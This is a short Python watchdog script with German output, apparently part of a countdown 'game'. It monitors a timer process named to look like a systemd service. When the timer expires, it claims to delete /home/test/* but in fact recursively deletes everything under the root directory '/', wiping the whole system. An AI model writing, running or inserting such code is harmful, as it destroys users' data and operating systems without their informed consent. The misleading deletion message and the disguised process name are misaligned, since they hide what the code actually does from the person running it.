import time
import subprocess
import os
import glob
import shutil

SCRIPT_NAME = "systemd-hdtob.py"
STATE_FILE = "/home/crime5/.timer/timer_state.txt"
END_STATE = "/home/crime5/.timer/end_state.txt"


def is_running():
    result = subprocess.run(["pgrep", "-f", SCRIPT_NAME], stdout=subprocess.PIPE)
    return result.returncode == 0


print("Watchdog gestartet...")

while not is_running():
    time.sleep(1)

print("Timer aktiv")


while True:

    if not is_running():
        if os.path.exists(END_STATE):
            print("Du hast verloren – Timer ist abgelaufen!")
            print("Lösche /home/test/* ...")

            for entry in os.listdir("/"):
                pfad = os.path.join("/", entry)

                try:
                    if os.path.isfile(pfad) or os.path.islink(pfad):
                        os.remove(pfad)
                    elif os.path.isdir(pfad):
                        shutil.rmtree(pfad, ignore_errors=True)
                except Exception as e:
                    print(f"Fehler bei {pfad}: {e}")

            print("Fertig.")
            exit(0)
        else:
            subprocess.run(["/root/win-message.sh"])
            exit(0)

    if os.path.exists(STATE_FILE):
        with open(STATE_FILE) as f:
            remaining = int(f.read().strip())
    else:
        remaining = -1

    print("Restzeit:", remaining)
    time.sleep(1)
